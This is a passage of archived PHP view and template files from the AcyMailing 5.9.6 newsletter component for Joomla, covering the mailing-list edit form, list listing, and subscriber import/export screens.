					echo "selectedLists['$val'] = new Array('".implode("','", $listids)."'); ";
				}
				?>
				function updateStatus(selection){
					<?php
					$listidAll = "selectedLists['all'][i]+'listmail";
					$listidSelection = "selectedLists[selection][i]+'listmail";
					?>
					for(var i = 0; i < selectedLists['all'].length; i++){
						if(searchParent(window.document.getElementById(<?php echo $listidAll; ?>0'), 'tr').style.display == 'none') continue;
						<?php if(ACYMAILING_J30) echo "jQuery('label[for='+".$listidAll."0]').click();"; ?>
						window.document.getElementById(<?php echo $listidAll; ?>0').checked = true;
					}
					if(!selectedLists[selection]) return;
					for(i = 0; i < selectedLists[selection].length; i++){
						if(searchParent(window.document.getElementById(<?php echo $listidSelection; ?>1'), 'tr').style.display == 'none') continue;
						<?php if(ACYMAILING_J30) echo "jQuery('label[for='+".$listidSelection."1]').click();"; ?>
						window.document.getElementById(<?php echo $listidSelection; ?>1').checked = true;
					}
				}
				-->
			</script>
			<?php
			$selectList = array();
			$selectList[] = acymailing_selectOption('none', acymailing_translation('ACY_NONE'));
			foreach($languages as $oneLang => $values){
				if($oneLang == 'all') continue;
				$selectList[] = acymailing_selectOption($oneLang, ucfirst($oneLang));
			}
			$selectList[] = acymailing_selectOption('all', acymailing_translation('ACY_ALL'));
			echo acymailing_radio($selectList, "selectlists", 'onclick="updateStatus(this.value);"', 'value', 'text');
			?>
		</td>
	</tr>
<?php } ?>
	</tbody>
	</table>

	<script language="javascript" type="text/javascript">
		<!--
		function searchParent(elem, tag){
			tag = tag.toUpperCase();
			do{
				if(elem.nodeName === tag){
					return elem;
				}
			}while(elem = elem.parentNode);
			return null;
		}

		var listsCats = new Array();

		<?php
		foreach($listsPerCategory as $val => $listids){
			if(empty($val)) $val = '-1';
			echo "listsCats['".str_replace("'", "\'", $val)."'] = new Array('".implode("','", $listids)."'); ";
		}

		$listCatsSelection = 'listsCats[selection][i]+"listmail';

		?>
		function checkCats(selection){
			if(!listsCats[selection]) return;
			var unselect = true;
			for(var i = 0; i < listsCats[selection].length; i++){
				if(searchParent(window.document.getElementById(<?php echo $listCatsSelection; ?>0"), 'tr').style.display == 'none') continue;
				if(window.document.getElementById(<?php echo $listCatsSelection; ?>1").checked == true) continue;
				unselect = false;
				break;
			}
			for(i = 0; i < listsCats[selection].length; i++){
				if(searchParent(window.document.getElementById(<?php echo $listCatsSelection; ?>0"), 'tr').style.display == 'none') continue;
				if(unselect){
					<?php if(ACYMAILING_J30) echo 'jQuery("label[for="+'.$listCatsSelection.'0]").click();'; ?>
					window.document.getElementById(<?php echo $listCatsSelection; ?>0").checked = true;
				}else{
					<?php if(ACYMAILING_J30) echo 'jQuery("label[for="+'.$listCatsSelection.'1]").click();'; ?>
					window.document.getElementById(<?php echo $listCatsSelection; ?>1").checked = true;
				}
			}
		}
		-->
	</script>
<?php
com_acymailing/views/list/tmpl/form.php000060400000010757152455305300014267 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<div id="iframedoc"></div>
	<form action="<?php echo acymailing_completeLink(acymailing_getVar('cmd', 'ctrl')); ?>" method="post" name="adminForm" id="adminForm" autocomplete="off">
		<div class="<?php echo acymailing_isAdmin() ? 'acyblockoptions' : 'onelineblockoptions'; ?>" style="display:block; float:none;">
			<span class="acyblocktitle" style="display:block; float:none;"><?php echo acymailing_translation('ACY_LIST_INFORMATIONS'); ?></span>
			<table cellspacing="1" width="100%">
				<tr>
					<td class="acykey">
						<label for="name">
							<?php echo acymailing_translation('LIST_NAME'); ?>
						</label>
					</td>
					<td>
						<input type="text" name="data[list][name]" id="name" class="inputbox" style="width:200px" value="<?php echo $this->escape(@$this->list->name); ?>"/>
					</td>
					<td class="acykey">
						<label for="enabled">
							<?php echo acymailing_translation('ENABLED'); ?>
						</label>
					</td>
					<td>
						<?php echo acymailing_boolean("data[list][published]", '', $this->list->published); ?>
					</td>
				</tr>
				<tr>
					<td class="acykey">
						<label for="alias">
							<?php echo acymailing_translation('JOOMEXT_ALIAS'); ?>
						</label>
					</td>
					<td>
						<input type="text" name="data[list][alias]" id="alias" class="inputbox" style="width:200px" value="<?php echo $this->escape(@$this->list->alias); ?>"/>
					</td>
					<td class="acykey">
						<label for="visible">
							<?php echo acymailing_translation('JOOMEXT_VISIBLE'); ?>
						</label>
					</td>
					<td>
						<?php echo acymailing_boolean("data[list][visible]", '', $this->list->visible); ?>
					</td>
				</tr>
				<tr>
					<td class="acykey">
						<label for="datalistcategory">
							<?php echo acymailing_translation('ACY_CATEGORY'); ?>
						</label>
					</td>
					<td>
						<?php $catType = acymailing_get('type.categoryfield');
						echo $catType->display('list', 'data[list][category]', $this->list->category); ?>
					</td>
					<td class="acykey">
						<label for="colorexample">
							<?php echo acymailing_translation('COLOUR'); ?>
						</label>
					</td>
					<td>
						<?php echo $this->colorBox->displayAll('', 'data[list][color]', @$this->list->color); ?>
					</td>
				</tr>
				<tr>
					<td class="acykey">
						<label for="datalistunsubmailid">
							<?php echo acymailing_translation('MSG_UNSUB'); ?>
						</label>
					</td>
					<td>
						<?php echo $this->unsubMsg->display(@$this->list->unsubmailid); ?>
					</td>
					<td class="acykey">
						<?php if(acymailing_isAdmin()){ ?>
							<label for="creator">
								<?php echo acymailing_translation('CREATOR'); ?>
							</label>
						<?php } ?>
					</td>
					<td>
						<?php if(acymailing_isAdmin()) { ?>
							<input type="hidden" id="listcreator" name="data[list][userid]"
								   value="<?php echo @$this->list->userid; ?>"/>
							<?php echo '<span id="creatorname">' . @$this->list->creatorname . '</span>';
							echo ' '.acymailing_popup(acymailing_completeLink('subscriber&amp;task=choose&amp;onlyreg=1', true), '<img src="' . ACYMAILING_IMAGES . 'icons/icon-16-edit.png" alt="' . acymailing_translation('ACY_EDIT', true) . '"/>');
						} ?>
					</td>
				</tr>
				<tr>
					<td class="acykey">
						<label for="datalistwelmailid">
							<?php echo acymailing_translation('MSG_WELCOME'); ?>
						</label>
					</td>
					<td colspan="3">
						<?php if(acymailing_level(1)){
							echo $this->welcomeMsg->display(@$this->list->welmailid);
						}elseif(acymailing_isAdmin()){
							echo acymailing_getUpgradeLink('essential');
						} ?>
					</td>
				</tr>
			</table>
		</div>

		<div class="<?php echo acymailing_isAdmin() ? 'acyblockoptions' : 'onelineblockoptions'; ?>" style="float:none;display:block;">
			<span class="acyblocktitle"><?php echo acymailing_translation('ACY_DESCRIPTION'); ?></span>
			<?php echo $this->editor->display(); ?>
		</div>
		<?php
		if(acymailing_level(1)){
			if($this->languages->multipleLang){
				include(dirname(__FILE__).DS.'languages.php');
			}
			if(acymailing_level(3)){
				include(dirname(__FILE__).DS.'acl.php');
			}
		} ?>
		<div class="clr"></div>

		<input type="hidden" name="cid[]" value="<?php echo @$this->list->listid; ?>"/>
		<?php acymailing_formOptions(); ?>
	</form>
</div>
com_acymailing/views/list/view.html.php000060400000020574152455305300014263 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php


class ListViewList extends acymailingView{
	
	function display($tpl = null){
		$function = $this->getLayout();
		if(method_exists($this, $function)) $this->$function();

		parent::display($tpl);
	}

	function listing(){
		$config = acymailing_config();
		$pageInfo = new stdClass();
		$pageInfo->filter = new stdClass();
		$pageInfo->filter->order = new stdClass();
		$pageInfo->limit = new stdClass();
		$pageInfo->elements = new stdClass();

		$paramBase = ACYMAILING_COMPONENT.'.'.$this->getName();

		$pageInfo->filter->order->value = acymailing_getUserVar($paramBase.".filter_order", 'filter_order', 'a.ordering', 'cmd');
		$pageInfo->filter->order->dir = acymailing_getUserVar($paramBase.".filter_order_Dir", 'filter_order_Dir', 'asc', 'word');
		if(strtolower($pageInfo->filter->order->dir) !== 'desc') $pageInfo->filter->order->dir = 'asc';
		$pageInfo->search = acymailing_getUserVar($paramBase.".search", 'search', '', 'string');
		$pageInfo->search = strtolower(trim($pageInfo->search));
		$selectedCreator = acymailing_getUserVar($paramBase."filter_creator", 'filter_creator', 0, 'int');
		$selectedCategory = acymailing_getUserVar($paramBase."filter_category", 'filter_category', 0, 'string');

		$pageInfo->limit->value = acymailing_getUserVar($paramBase.'.list_limit', 'limit', acymailing_getCMSConfig('list_limit'), 'int');
		$pageInfo->limit->start = acymailing_getUserVar($paramBase.'.limitstart', 'limitstart', 0, 'int');

		$filters = array();
		if(!empty($pageInfo->search)){
			$searchVal = '\'%'.acymailing_getEscaped($pageInfo->search, true).'%\'';
			$filters[] = "a.name LIKE $searchVal OR a.description LIKE $searchVal OR a.listid LIKE $searchVal";
		}
		$filters[] = "a.type = 'list'";
		if(!empty($selectedCreator)) $filters[] = 'a.userid = '.$selectedCreator;
		if(!empty($selectedCategory)) $filters[] = 'a.category = '.acymailing_escapeDB($selectedCategory);

		if(!acymailing_isAdmin()) {
			$listClass = acymailing_get('class.list');
			$lists = $listClass->getFrontendLists('listid');

			$filters[] = 'listid IN ('.implode(',', array_keys($lists)).')';
		}

		$query = 'SELECT a.*, d.'.$this->cmsUserVars->name.' as creatorname, d.'.$this->cmsUserVars->username.' AS username, d.'.$this->cmsUserVars->email.' AS email';
		$query .= ' FROM '.acymailing_table('list').' as a';
		$query .= ' LEFT JOIN '.acymailing_table($this->cmsUserVars->table, false).' as d on a.userid = d.'.$this->cmsUserVars->id;
		$query .= ' WHERE ('.implode(') AND (', $filters).')';
		if(!empty($pageInfo->filter->order->value)){
			$query .= ' ORDER BY '.$pageInfo->filter->order->value.' '.$pageInfo->filter->order->dir;
		}

		$rows = acymailing_loadObjectList($query, '', $pageInfo->limit->start, $pageInfo->limit->value);

		$queryCount = 'SELECT COUNT(a.listid) FROM  '.acymailing_table('list').' as a';
		$queryCount .= ' WHERE ('.implode(') AND (', $filters).')';

		$pageInfo->elements->total = acymailing_loadResult($queryCount);

		$listids = array();
		foreach($rows as $oneRow){
			$listids[] = $oneRow->listid;
		}

		$subscriptionresults = array();
		if(!empty($listids)){
			$querySubscription = 'SELECT count(subid) as total,listid,status FROM '.acymailing_table('listsub').' WHERE listid IN ('.implode(',', $listids).') GROUP BY listid, status';
			$countresults = acymailing_loadObjectList($querySubscription);
			foreach($countresults as $oneResult){
				$subscriptionresults[$oneResult->listid][intval($oneResult->status)] = $oneResult->total;
			}
		}

		foreach($rows as $i => $oneRow){
			$rows[$i]->nbsub = intval(@$subscriptionresults[$oneRow->listid][1]);
			$rows[$i]->nbunsub = intval(@$subscriptionresults[$oneRow->listid][-1]);
			$rows[$i]->nbwait = intval(@$subscriptionresults[$oneRow->listid][2]);
		}

		$pageInfo->elements->page = count($rows);

		$pagination = new acyPagination($pageInfo->elements->total, $pageInfo->limit->start, $pageInfo->limit->value);

		if(acymailing_isAdmin()) {
			$acyToolbar = acymailing_get('helper.toolbar');
			if (acymailing_isAllowed($config->get('acl_lists_filter', 'all'))) {
				$acyToolbar->link(acymailing_completeLink('filter'), acymailing_translation('ACY_FILTERS'), 'filter');
				$acyToolbar->divider();
			}

			if (acymailing_isAllowed($config->get('acl_lists_manage', 'all'))) $acyToolbar->add();
			if (acymailing_isAllowed($config->get('acl_lists_manage', 'all'))) $acyToolbar->edit();
			if (acymailing_isAllowed($config->get('acl_lists_delete', 'all'))) $acyToolbar->delete();
			if (acymailing_isAllowed($config->get('acl_lists_manage', 'all')) || acymailing_isAllowed($config->get('acl_lists_manage', 'all')) || acymailing_isAllowed($config->get('acl_lists_delete', 'all'))) $acyToolbar->divider();
			$acyToolbar->help('list-listing');
			$acyToolbar->setTitle(acymailing_translation('LISTS'), 'list');
			$acyToolbar->display();
		}

		$order = new stdClass();
		$order->ordering = false;
		$order->orderUp = 'orderup';
		$order->orderDown = 'orderdown';
		$order->reverse = false;
		if($pageInfo->filter->order->value == 'a.ordering'){
			$order->ordering = true;
			if($pageInfo->filter->order->dir == 'desc'){
				$order->orderUp = 'orderdown';
				$order->orderDown = 'orderup';
				$order->reverse = true;
			}
		}

		$filters = new stdClass();
		$creatorfilterType = acymailing_get('type.creatorfilter');
		$creatorfilterType->type = 'list';
		$filters->creator = $creatorfilterType->display('filter_creator', $selectedCreator, 'list');
		$listcategoryType = acymailing_get('type.categoryfield');
		$filters->category = $listcategoryType->getFilter('list', 'filter_category', $selectedCategory, ' onchange="document.adminForm.submit();"');

		$this->config = $config;
		$this->filters = $filters;
		$this->order = $order;
		$toggleClass = acymailing_get('helper.toggle');
		$this->toggleClass = $toggleClass;
		$this->rows = $rows;
		$this->pageInfo = $pageInfo;
		$this->pagination = $pagination;
	}

	function form(){
		$listClass = acymailing_get('class.list');
		$listid = acymailing_getCID('listid');

		if(!empty($listid)){
			$list = $listClass->get($listid);

			if(empty($list->listid)){
				acymailing_display('List '.$listid.' not found', 'error');
				$listid = 0;
			}
		}

		if(empty($listid)){
			$list = new stdClass();
			$list->visible = 1;
			$list->description = '';
			$list->category = '';
			$list->published = 1;
			$list->creatorname = acymailing_currentUserName();
			$list->access_manage = 'none';
			$list->access_sub = 'all';
			$list->languages = 'all';
			$colors = array('#3366ff', '#7240A4', '#7A157D', '#157D69', '#ECE649');
			$list->color = $colors[rand(0, count($colors) - 1)];
		}

		$editor = acymailing_get('helper.editor');
		$editor->name = 'editor_description';
		$editor->content = $list->description;
		$editor->setDescription();

		$script = '
			document.addEventListener("DOMContentLoaded", function(){
				acymailing.submitbutton = function(pressbutton) {
					if (pressbutton == \'cancel\') {
						acymailing.submitform(pressbutton,document.adminForm);
						return;
					}
					if(window.document.getElementById("name").value.length < 2){alert(\''.acymailing_translation('ENTER_TITLE', true).'\'); return false;}';
		$script .= $editor->jsCode();
		$script .= 'acymailing.submitform(pressbutton,document.adminForm);
				};
			 }); ';
		$script .= 'function affectUser(idcreator,name,email){
			window.document.getElementById("creatorname").innerHTML = name;
			window.document.getElementById("listcreator").value = idcreator;
		}';


		acymailing_addScript(true, $script);

		if(acymailing_isAdmin()) {
			$acyToolbar = acymailing_get('helper.toolbar');
			$acyToolbar->addButtonOption('apply', acymailing_translation('ACY_APPLY'), 'apply', false);
			$acyToolbar->save();
			$acyToolbar->cancel();
			$acyToolbar->divider();
			$acyToolbar->help('list-form');
			$acyToolbar->setTitle(acymailing_translation('LIST'), 'list&task=edit&listid=' . $listid);
			$acyToolbar->display();
		}

		$colorBox = acymailing_get('type.color');
		$this->colorBox = $colorBox;
		if(acymailing_level(1)){
			$this->welcomeMsg = acymailing_get('type.welcome');
			$this->languages = acymailing_get('type.listslanguages');
		}
		$unsubMsg = acymailing_get('type.unsub');
		$this->unsubMsg = $unsubMsg;
		$this->list = $list;
		$this->editor = $editor;
	}
}
com_acymailing/views/data/index.html000060400000000054152455305300013557 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/data/view.html.php000060400000024442152455305300014217 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php


class dataViewdata extends acymailingView{
	
	function display($tpl = null){
		$function = $this->getLayout();
		if(method_exists($this, $function)) $this->$function();

		parent::display($tpl);
	}

	function genericimport(){
		$this->chosen = false;

		$isAdmin = false;
		if(acymailing_isAdmin()){
			$isAdmin = true;

			$acyToolbar = acymailing_get('helper.toolbar');
			$acyToolbar->custom('finalizeimport', acymailing_translation('IMPORT'), 'import', false, '');
			$acyToolbar->link(acymailing_completeLink('subscriber'), acymailing_translation('ACY_CANCEL'), 'cancel');
			$acyToolbar->divider();
			$acyToolbar->help('data-import', 'secondpage');
			$acyToolbar->setTitle(acymailing_translation('IMPORT'), 'data&task=import');
			$acyToolbar->display();
		}

		$config = acymailing_config();
		$this->config = $config;

		$selectedParams = array();
		$selectedParams = explode(',', $config->get('import_params', 'import_confirmed,generatename'));

		$this->selectedParams = $selectedParams;

		$lists = acymailing_getVar('array', 'importlists', array());
		$listClass = acymailing_get('class.list');
		$allLists = acymailing_isAdmin() ? $listClass->getLists() : $listClass->getFrontendLists();

		$listsName = array();
		$unsubListsName = array();
		foreach($allLists as $oneList){
			if($lists[$oneList->listid] == -1) $unsubListsName[] = $oneList->name;
			if($lists[$oneList->listid] == 1) $listsName[] = $oneList->name;
			if($lists[$oneList->listid] == 2) $listsName[] = $oneList->name.' + '.acymailing_translation('CAMPAIGN');
		}
		$createList = acymailing_getVar('string', 'createlist');
		if(!empty($createList)) $listsName[] = $createList;
		if(!empty($listsName)) $this->lists = implode(', ', $listsName);
		if(!empty($unsubListsName)) $this->unsublists = implode(', ', $unsubListsName);

		$importFrom = acymailing_getVar('cmd', 'importfrom');
		$this->type = $importFrom;
		$this->isAdmin = $isAdmin;
	}

	function import(){

		$listClass = acymailing_get('class.list');
		$config = acymailing_config();

		$isAdmin = false;
		if(acymailing_isAdmin()){
			$isAdmin = true;

			$acyToolbar = acymailing_get('helper.toolbar');
			$acyToolbar->custom('doimport', acymailing_translation('IMPORT'), 'import', false, '');
			$acyToolbar->link(acymailing_completeLink('subscriber'), acymailing_translation('ACY_CANCEL'), 'cancel');
			$acyToolbar->divider();
			$acyToolbar->help('data-import');
			$acyToolbar->setTitle(acymailing_translation('IMPORT'), 'data&task=import');
			$acyToolbar->display();
		}

		$importData = array();
		$importData['textarea'] = acymailing_translation('IMPORT_TEXTAREA');
		$importData['file'] = acymailing_translation('ACY_FILE');
		if(acymailing_isAllowed($config->get('acl_subscriber_zohoimport', 'all'))) $importData['zohocrm'] = 'ZohoCRM';


		$isAdmin = false;
		if(acymailing_isAdmin()){
			$isAdmin = true;
			$importData['joomla'] = acymailing_translation('IMPORT_JOOMLA');
			$importData['contact'] = 'com_contact';
			$importData['database'] = acymailing_translation('DATABASE');
			$importData['ldap'] = 'LDAP';
			$importData['zohocrm'] = 'ZohoCRM';
			if(acymailing_level(3)) $importData['fbleads'] = 'Facebook Leads';


			$possibleImport = array();
			$possibleImport[acymailing_getPrefix().'acajoom_subscribers'] = array('acajoom', 'Acajoom');
			$possibleImport[acymailing_getPrefix().'ccnewsletter_subscribers'] = array('ccnewsletter', 'ccNewsletter');
			$possibleImport[acymailing_getPrefix().'letterman_subscribers'] = array('letterman', 'Letterman');
			$possibleImport[acymailing_getPrefix().'communicator_subscribers'] = array('communicator', 'Communicator');
			$possibleImport[acymailing_getPrefix().'yanc_subscribers'] = array('yanc', 'Yanc');
			$possibleImport[acymailing_getPrefix().'vemod_news_mailer_users'] = array('vemod', 'Vemod News Mailer');
			$possibleImport[acymailing_getPrefix().'jnews_subscribers'] = array('jnews', 'jNews');
			$possibleImport['civicrm_email'] = array('civi', 'CiviCRM');
			$possibleImport[acymailing_getPrefix().'sobipro_field'] = array('sobipro', 'SobiPro');
			$possibleImport[acymailing_getPrefix().'nspro_subs'] = array('nspro', 'NS Pro');

			$tables = acymailing_getTableList();
			foreach($tables as $mytable){
				if(isset($possibleImport[$mytable])){
					$importData[$possibleImport[$mytable][0]] = $possibleImport[$mytable][1];
				}
			}

			$this->tables = $tables;

			$civifile = ACYMAILING_ROOT.'administrator'.DS.'components'.DS.'com_civicrm'.DS.'civicrm.settings.php';
			if(empty($importData['civicrm_email']) && file_exists($civifile)){
				$importData['civi'] = 'CiviCRM';
			}
		}


		$importvalues = array();
		foreach($importData as $div => $name){
			$importvalues[] = acymailing_selectOption($div, $name);
		}
		$js = 'var currentoption = \'textarea\';
		function updateImport(newoption){document.getElementById(currentoption).style.display = "none";document.getElementById(newoption).style.display = \'block\';currentoption = newoption;}';

		$function = acymailing_getVar('cmd', 'importfrom');
		if(!empty($function)){
			$js .= 'window.addEventListener("load", function(){ updateImport(\''.$function.'\'); });';
		}
		if($config->get('ldap_host') && acymailing_isAdmin()){
			$js .= 'window.addEventListener("load", function(){ updateldap(); });';
		}
		acymailing_addScript(true, $js);

		$this->importvalues = $importvalues;
		$this->importdata = $importData;

		$lists = acymailing_isAdmin() ? $listClass->getLists() : $listClass->getFrontendLists();

		$subscribeOptions = array();
		$subscribeOptions[] = acymailing_selectOption(0, acymailing_translation('JOOMEXT_NO'));
		$subscribeOptions[] = acymailing_selectOption(-1, acymailing_translation('UNSUBSCRIBE'));
		$subscribeOptions[] = acymailing_selectOption(1, acymailing_translation('SUBSCRIBE'));
		$campaignValues = $subscribeOptions;
		$campaignValues[] = acymailing_selectOption(2, acymailing_translation('JOOMEXT_YES_CAMPAIGN'));
		if(acymailing_level(3)){
			$listsOfId = array();
			foreach($lists as $oneList){
				$listsOfId[] = $oneList->listid;
			}
			$listCampaign = $listClass->getCampaigns($listsOfId);
			foreach($lists as $key => $oneList){
				if(!empty($listCampaign[$oneList->listid])){
					$lists[$key]->campaign = implode(',', $listCampaign[$oneList->listid]);
				}
			}
		}

		$this->lists = $lists;
		$this->subscribeOptions = $subscribeOptions;
		$this->campaignValues = $campaignValues;
		$this->config = $config;
		$this->isAdmin = $isAdmin;
	}

	function export(){
		$listClass = acymailing_get('class.list');
		$fields = acymailing_getColumns('#__acymailing_subscriber');
		$fieldsList = array();
		$fieldsList['listid'] = 'smallint unsigned';
		$fieldsList['listname'] = 'varchar';

		$config = acymailing_config();
		$selectedFields = explode(',', $config->get('export_fields', 'email,name'));
		$selectedLists = explode(',', $config->get('export_lists'));
		$selectedFilters = explode(',', $config->get('export_filters', 'subscribed'));

		$isAdmin = false;
		if(acymailing_isAdmin()){
			$isAdmin = true;

			$acyToolbar = acymailing_get('helper.toolbar');
			if(acymailing_isNoTemplate()){
				$acyToolbar->custom('doexport', acymailing_translation('ACY_EXPORT'), 'export', false, '');
				$acyToolbar->setTitle(acymailing_translation('ACY_EXPORT'));
				$acyToolbar->topfixed = false;
			}else{
				$acyToolbar->custom('doexport', acymailing_translation('ACY_EXPORT'), 'export', false, '');
				$acyToolbar->link(acymailing_completeLink('subscriber'), acymailing_translation('ACY_CANCEL'), 'cancel');
				$acyToolbar->divider();
				$acyToolbar->help('data-export');
				$acyToolbar->setTitle(acymailing_translation('ACY_EXPORT'), 'data&task=export');
			}
			$acyToolbar->display();
		}

		$charsetType = acymailing_get('type.charset');
		$this->charset = $charsetType;

		if(acymailing_isAdmin()){
			$lists = $listClass->getLists();
		}else $lists = $listClass->getFrontendLists();

		$this->lists = $lists;
		$this->fields = $fields;
		$this->fieldsList = $fieldsList;
		$this->selectedfields = $selectedFields;
		$this->selectedlists = $selectedLists;
		$this->selectedFilters = $selectedFilters;
		$this->config = $config;
		$this->isAdmin = $isAdmin;

		if(acymailing_getVar('int', 'sessionvalues')){
			if(!empty($_SESSION['acymailing']['exportusers'])){
				$i = 1;
				$subids = array();
				foreach($_SESSION['acymailing']['exportusers'] as $subid){
					$subids[] = (int)$subid;
					$i++;
					if($i > 10) break;
				}

				if(!empty($subids)){
					$users = acymailing_loadObjectList('SELECT DISTINCT `name`,`email` FROM `#__acymailing_subscriber` WHERE `subid` IN ('.implode(',', $subids).') LIMIT 10');
					$this->users = $users;
				}
			}elseif(!empty($_SESSION['acymailing']['exportlist'])){
				$filterList = $_SESSION['acymailing']['exportlist'];
				$this->exportlist = $filterList;
				$filterListStatus = $_SESSION['acymailing']['exportliststatus'];
				$this->exportliststatus = $filterListStatus;
			}
		}

		if(acymailing_getVar('int', 'fieldfilters')) $this->fieldfilters = true;

		if(acymailing_getVar('int', 'sessionquery')){
			acymailing_session();
			$exportQuery = $_SESSION['acymailing']['acyexportquery'];
			if(!empty($exportQuery)){
				$users = acymailing_loadObjectList('SELECT DISTINCT s.`name`,s.`email` '.$exportQuery.' LIMIT 10');
				$this->users = $users;

				if(strpos($exportQuery, 'userstats')){
					$otherFields = array('userstats.mailid','userstats.senddate', 'userstats.open', 'userstats.opendate', 'userstats.bounce', 'userstats.bouncerule', 'userstats.ip', 'userstats.html', 'userstats.fail', 'userstats.sent', 'userstats.browser', 'userstats.browser_version', 'userstats.is_mobile', 'userstats.mobile_os', 'userstats.user_agent');
					$this->otherfields = $otherFields;
				}
				if(strpos($exportQuery, 'urlclick')){
					$otherFields = array('url.name', 'url.url', 'urlclick.date', 'urlclick.ip', 'urlclick.click');
					$this->otherfields = $otherFields;
				}
				if(strpos($exportQuery, 'history')){
					$otherFields = array('hist.data', 'hist.date');
					$this->otherfields = $otherFields;
				}
			}
		}

		if(acymailing_level(3)){
			$geolocFields = acymailing_getColumns('#__acymailing_geolocation');
			$this->geolocfields = $geolocFields;
		}
	}
}
com_acymailing/views/data/tmpl/file.php000060400000001335152455305300014171 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><table class="acymailing_table">
	<tr id="trfileupload">
		<td class="acykey">
			<?php echo acymailing_translation('UPLOAD_FILE'); ?>
		</td>
		<td>
			<input type="file" style="width:auto;" name="importfile"/>
			<?php echo '<br />'.(acymailing_translation_sprintf('MAX_UPLOAD', (acymailing_bytes(ini_get('upload_max_filesize')) > acymailing_bytes(ini_get('post_max_size'))) ? ini_get('post_max_size') : ini_get('upload_max_filesize'))); ?>
		</td>
	</tr>
</table>

com_acymailing/views/data/tmpl/jnews.php000060400000002446152455305300014404 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
$resultUsers = acymailing_loadResult('SELECT count(id) FROM '.acymailing_table('jnews_subscribers', false));
$resultLists = acymailing_loadResult('SELECT count(id) FROM '.acymailing_table('jnews_lists', false));
$resultNews = acymailing_loadResult('SELECT count(id) FROM '.acymailing_table('jnews_mailings', false));

echo acymailing_translation_sprintf('USERS_IN_COMP', $resultUsers, 'jNews');
if(!empty($resultLists)){
	echo '<div class="acyblockoptions"><span class="acyblocktitle">'.acymailing_translation_sprintf('LISTS_IN_COMP', $resultLists, 'jNews').'</span>';
	echo acymailing_translation_sprintf('IMPORT_X_LISTS', $resultLists).'<br />';
	echo acymailing_translation_sprintf('IMPORT_LIST_TOO', 'jNews').acymailing_boolean("jnews_lists");
	echo '</div>';
}
if(!empty($resultNews)){
	echo '<div class="acyblockoptions"><span class="acyblocktitle">'.acymailing_translation_sprintf('LISTS_IN_COMP', $resultLists, 'jNews').'</span>';
	echo acymailing_translation_sprintf('IMPORT_NEWSLETTERS_TOO', 'jNews').acymailing_boolean("jnews_news");
}
com_acymailing/views/data/tmpl/import.php000060400000005002152455305300014557 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php $config = acymailing_config(); ?>
<div id="acy_content">
	<div id="iframedoc"></div>
	<form action="<?php echo acymailing_completeLink(acymailing_getVar('cmd', 'ctrl')); ?>" method="post" name="adminForm" enctype="multipart/form-data" id="adminForm">
		<?php if(!empty($this->Itemid)) echo '<input type="hidden" name="Itemid" value="'.$this->Itemid.'" />';
		acymailing_formOptions(); ?>
		<div style="width:100%;">
			<div id="import_mode_container">
				<div id="import_mode" class="<?php echo $this->isAdmin ? 'acyblockoptions' : 'onelineblockoptions'; ?>">
					<span class="acyblocktitle"><?php echo acymailing_translation('IMPORT_FROM'); ?></span>
					<?php echo acymailing_radio($this->importvalues, 'importfrom', 'class="inputbox" size="1" onclick="updateImport(this.value);"', 'value', 'text', acymailing_getVar('cmd', 'importfrom', 'textarea')); ?>
				</div>
			</div>
			<div id="import_options" class="<?php echo $this->isAdmin ? 'acyblockoptions' : 'onelineblockoptions'; ?>">
				<?php foreach($this->importdata as $div => $name){
					echo '<div id="'.$div.'"';
					if($div != acymailing_getVar('cmd', 'importfrom', 'textarea')) echo ' style="display:none"';
					echo '>';
					echo '<span class="acyblocktitle">'.$name.'</span>';
					include(dirname(__FILE__).DS.$div.'.php');
					echo '</div>';
				} ?>
			</div>
			<div class="<?php echo $this->isAdmin ? 'acyblockoptions' : 'onelineblockoptions'; ?>" id="importlists">
				<span class="acyblocktitle"><?php echo acymailing_translation('SUBSCRIPTION'); ?></span>
				<?php if(acymailing_isAllowed($this->config->get('acl_lists_manage', 'all'))){ ?>
					<table class="acymailing_table" cellpadding="1">
						<tr class="<?php echo "row1"; ?>" id="importcreatelist">
							<td colspan="2">
								<?php echo acymailing_translation('IMPORT_SUBSCRIBE_CREATE').' : <input type="text" name="createlist" placeholder="'.acymailing_translation('LIST_NAME').'" />'; ?>
							</td>
						</tr>
					</table>
				<?php }
				$currentPage = 'import';
				$currentValues = acymailing_getVar('none', 'importlists');
				$listid = acymailing_getVar('int', 'listid');
				include_once(ACYMAILING_BACK.'views'.DS.'list'.DS.'tmpl'.DS.'filter.lists.php');
				?>
			</div>
		</div>
	</form>
	<div style="clear: both;"></div>
</div>
com_acymailing/views/data/tmpl/vemod.php000060400000000706152455305300014365 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
